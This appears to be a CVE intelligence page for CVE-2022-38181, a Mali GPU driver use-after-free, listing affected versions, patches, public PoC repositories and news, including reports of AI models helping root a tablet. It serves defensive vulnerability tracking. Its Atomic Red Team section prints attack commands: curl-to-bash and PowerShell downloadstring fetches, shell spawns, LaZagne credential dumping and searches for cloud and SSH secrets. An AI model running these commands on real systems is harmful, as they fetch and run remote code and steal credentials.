CVE-2022-38181
Overview
This vulnerability is a use-after-free condition in the Arm Mali GPU kernel drivers affecting Bifrost, Valhall, and Midgard architectures. The root cause is improper handling of GPU memory operations within the kernel driver, which allows unprivileged users to access memory regions after they have been freed. The flaw resides in the GPU kernel driver's memory management routines responsible for allocating and releasing GPU memory buffers.
Vulnerability Description
The Arm Mali GPU kernel driver allows unprivileged users to access freed memory because GPU memory operations are mishandled. This affects Bifrost r0p0 through r38p1, and r39p0; Valhall r19p0 through r38p1, and r39p0; and Midgard r4p0 through r32p0.
Impact
An attacker with low-level user privileges can exploit this vulnerability to read or write freed kernel memory, potentially leading to privilege escalation within the device. This can allow unauthorized access to sensitive data or execution of arbitrary code in kernel context. The attack requires only a low-privileged user account with access to the GPU driver interfaces and does not require user interaction. Successful exploitation can result in full system compromise or disruption of GPU operations, impacting device integrity and confidentiality.
Solution
Arm has published security updates addressing this vulnerability in the Mali GPU kernel driver. Users should apply the patches provided in the Arm Security Center advisories available at https://developer.arm.com/support/arm-security-updates and https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities. These updates cover affected versions of Bifrost, Valhall, and Midgard GPU kernel drivers, including releases up to r39p0. Following Arm's official guidance and updating to the latest driver versions is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Bifrost Gpu Kernel Driver | All |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Bifrost Gpu Kernel Driver | r39p0 |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:r39p0:*:*:*:*:*:*:*
|
|
|
Arm | Midgard Gpu Kernel Driver | All |
cpe:2.3:a:arm:midgard_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | All |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | r39p0 |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:r39p0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (13)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Pro-me3us/CVE_2022_38181_Raven
CVE-2022-38181 POC for FireTV 2nd gen Cube (raven)
|
Pro-me3us | 14 | 9 | 2023-04-13 | View |
|
ericpardee/fire-hd-ownership
Owning a tablet Amazon kept shutting down — CVE-2022-38181 write-up, four AI models, and a blog
|
ericpardee | 8 | 0 | 2026-08-20 | View |
|
Pro-me3us/CVE_2022_38181_Gazelle
CVE-2022-38181 POC for FireTV 3rd gen Cube (gazelle)
|
Pro-me3us | 5 | 3 | 2023-04-13 | View |
|
R0rt1z2/CVE-2022-38181
|
R0rt1z2 | 3 | 2 | 2023-05-12 | View |
|
s1204IT/CVE-2022-38181
|
s1204IT | 3 | 0 | 2026-10-29 | View |
|
sber-portal/sberportal-root
SberPortal (stargate, Amlogic A311D) — getting and keeping root: CVE-2022-38181, persistent root via u-boot env, device-...
|
sber-portal | 2 | 0 | 2026-11-10 | View |
|
artur9010/amazon-mustang-hack
FireOS 7.3.3.1 temp root by CVE-2022-38181
|
artur9010 | 1 | 0 | 2026-09-11 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
lRENyaaa/AGM3-W09HN-TMP-ROOT-CVE-2022-38181
在 AGM3-W09HN 上通过 CVE-2022-38181 取得临时Root
|
lRENyaaa | 0 | 0 | 2026-11-05 | View |
|
lRENyaaa/AGM3-W09HN-TempRoot
在 AGM3-W09HN 上通过 CVE-2022-38181 取得临时Root
|
lRENyaaa | 0 | 0 | 2026-11-05 | View |
|
hackintoanetwork/SCRoot
root for Samsung SCR-01 (SM-H412J) via Mali CVE-2022-38181
|
hackintoanetwork | 0 | 0 | 2026-07-29 | View |
|
soralis0912/CVE-2022-38181-aristotle-apk
|
soralis0912 | 0 | 0 | 2026-07-25 | View |
|
soralis0912/CVE-2022-38181-aristotle
|
soralis0912 | 0 | 0 | 2026-07-25 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 20 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (40)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
code github.com sber-portal 2026-11-10 08:01 UTCsber-portal/sberportal-rootOpen source
-
code github.com lRENyaaa 2026-11-05 20:08 UTClRENyaaa/AGM3-W09HN-TMP-ROOT-CVE-2022-38181Open source
-
code github.com s1204IT 2026-10-29 01:01 UTCs1204IT/CVE-2022-38181Open source
-
news hackread.com 2026-10-13 07:00 UTCAmazon Fire TV Cube Rooted Using Four-Year-Old Arm Mali Vulnerability - HackreadOpen source
-
news gbhackers.com 2026-10-13 07:00 UTCAmazon Fire TV Cube Security Flaws Allow Bootloader Unlocking and Permanent Root Access - GBHackers NewsOpen source
-
news cyberpress.org 2026-10-13 07:00 UTCAmazon Fire TV Cube Exploit Lets Users Gain Root Access and Unlock Bootloader - Cyber PressOpen source
-
news cybersecuritynews.com 2026-10-13 07:00 UTCAmazon Fire TV Cube 3 Exploit Enables Root Access and Bootloader Unlock - CyberSecurityNewsOpen source
-
news techdigest.tv 2026-10-12 07:00 UTCAmazon Fire TV Cube hacked using 4-year old vulnerability - Tech DigestOpen source
-
code github.com artur9010 2026-09-11 21:04 UTCartur9010/amazon-mustang-hackOpen source
-
social bsky.app @rajivpr.bsky.social 2026-08-25 16:00 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day https://ericpardee.github.io/fire-hd-ownership/Open source
-
social bsky.app @ianpatterson.com 2026-08-25 04:18 UTC... ② so he sets off to hack it (he owns it after all) so he can run his own software on it. No known root exploits exist, so he sets off with AI, chinese AI. Eventually it cracks .... ericpardee.github.io/fire-hd-owne...Open source
-
social bsky.app @words.bsky.social 2026-08-24 23:13 UTCin which we learn the term "prompt kiddie"Open source
-
social bsky.app @th.alassa.pink 2026-08-24 14:35 UTChi Luna, interesting article :) i had to read a translation but it really made me think! the reverse engineering story made me think about this ericpardee.github.io/fire-hd-owne... (the prose is clearly AI but the details are really cool.…Open source
-
social bsky.app @news.karthihegde.dev 2026-08-24 08:04 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day Discussion | hackernews | Author: dr_pardee #AndroidOpen source
-
social bsky.app @nilleb.io 2026-08-24 06:53 UTCericpardee.github.io/fire-hd-owne... Own your devices, with the help from GLM-5.3 sneaking through the Great Wall of US AI.Open source
-
social bsky.app @norviktech.bsky.social 2026-08-24 04:06 UTCLa situación descrita por el usuario, quien experimentó constantes apagones en su tablet Amazon, se relaciona con el CVE-2022-38181, un vulnerabilidad que afecta dispositivos específicos. https://norvik.tech/news/analisis-tecnico-propiedad…Open source
-
social bsky.app @druce.ai 2026-08-23 23:40 UTCAn engineer spent $266 across four AI models to root an old Fire tablet; Claude refused tasks that rival models completedOpen source
-
social bsky.app @betterhn300.e-work.xyz 2026-08-23 20:08 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day https://ericpardee.github.io/fire-hd-ownership/ (https://news.ycombinator.com/item?id=49409073)Open source
-
social bsky.app @betterhn50.e-work.xyz 2026-08-23 20:07 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day https://ericpardee.github.io/fire-hd-ownership/ (https://news.ycombinator.com/item?id=49409073)Open source
-
social bsky.app @geeknewsbot.bsky.social 2026-08-23 20:00 UTC태블릿 소유권을 되찾는 데 266달러와 AI 모델 4개를 썼고, GLM-5.3이 하루 만에 끝냈다 하루 최대 두 번 완전히 꺼지는 Amazon Fire HD 10에서 보호된 패키지를 제거하려고 5개월간 AI 모델 4개 를 동원했으며, 태블릿 가격의 두 배가 넘는 266.15달러 를 지출함 Kimi K3는 Fire OS 7.3.2.6에 남은 CVE-2022-38181 을 찾아 30시간·621개 ...Open source
-
social bsky.app @migueldeicaza.bsky.social 2026-08-23 19:42 UTCNature is healing: ericpardee.github.io/fire-hd-owne...Open source
-
social bsky.app @xeraa.net 2026-08-23 18:32 UTChacking a tablet that was EOLed by amazon: "American frontier models won’t help and Chinese will, but not without reasoning about whether they should" the barrier is to pick the right model, say "keep going" over and over, and paying the t…Open source
-
social bsky.app @throwaway.ns.agency 2026-08-23 18:28 UTCthat said - I am excited for a future where we can have multitudes of clankers running, and them actually being functional. read this article - it was written by a clanker, but it's not... entirely slop. I mean some of it is hard to read,…Open source
-
social bsky.app @hn-frontpage-bot.bsky.social 2026-08-23 16:52 UTCAn owner of an Amazon Fire HD 10 tablet used multiple AI models to gain root access after the device repeatedly powered itself off. By leveraging a 2022 security vulnerability, the AI successfully removed restrictive Amazon software, final…Open source
-
social bsky.app @doppelfish.bsky.social 2026-08-23 16:50 UTC"Removing them required root. This tablet had no published root method. An XDA brainstorming thread for the 2021 HD 10 existed since October 2022, but Amazon fused the bootrom shut. Conventional wisdom (and less persistent folks) says unro…Open source
-
social bsky.app @hackernewsbot.bsky.social 2026-08-23 16:20 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day | DiscussionOpen source
-
social bsky.app @betterhn20.e-work.xyz 2026-08-23 16:12 UTCI spent $266 and four AI models to own my tablet. GLM-5.3 finished it in a day https://ericpardee.github.io/fire-hd-ownership/ (https://news.ycombinator.com/item?id=49409073)Open source
-
social bsky.app @lobsters-feed.bsky.social 2026-08-23 15:45 UTCAmazon kept shutting down my tablet, so I spent $266 on four AI models to own it https://lobste.rs/s/fadbev #vibecodingOpen source
-
code github.com ericpardee 2026-08-20 08:02 UTCericpardee/fire-hd-ownershipOpen source
-
code github.com hackintoanetwork 2026-07-29 17:53 UTChackintoanetwork/SCRootOpen source
-
code github.com soralis0912 2026-07-25 01:01 UTCsoralis0912/CVE-2022-38181-aristotleOpen source
-
code github.com Bariskizilkaya 2025-03-20 21:21 UTCBariskizilkaya/CVE_2022_38181-Mali-SAMSUNG-S6-Lite-TabletOpen source
-
news security.googleblog.com 2023-07-27 07:00 UTCThe Ups and Downs of 0-days: A Year in Review of 0-days Exploited In-the-Wild in 2022 - blog.googleOpen source
-
code github.com R0rt1z2 2023-05-12 13:50 UTCR0rt1z2/CVE-2022-38181Open source
-
code github.com Pro-me3us 2023-04-13 13:25 UTCPro-me3us/CVE_2022_38181_GazelleOpen source
-
code github.com Pro-me3us 2023-04-13 13:19 UTCPro-me3us/CVE_2022_38181_RavenOpen source
-
news blog.google 2023-03-29 07:00 UTCSpyware vendors use 0-days and n-days against popular platforms - blog.googleOpen source
-
news therecord.media 2023-03-29 07:00 UTCSpyware campaigns using zero-days found in Italy, Malaysia, Kazakhstan, UAE - The Record from Recorded Future NewsOpen source
-
news securityweek.com 2023-03-29 07:00 UTCGoogle Links More iOS, Android Zero-Day Exploits to Spyware Vendors - SecurityWeekOpen source
-
news github.blog 2023-01-23 08:00 UTCPwning the all Google phone with a non-Google bug - The GitHub BlogOpen source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-38181 |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities |
| github.blog |
GitHub CVE
|
https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/ |
| securitylab.github.com |
GitHub CVE
|
https://securitylab.github.com/advisories/GHSL-2022-054_Arm_Mali/ |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/172854/Android-Arm-Mali-GPU-Arbitrary-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-38181 |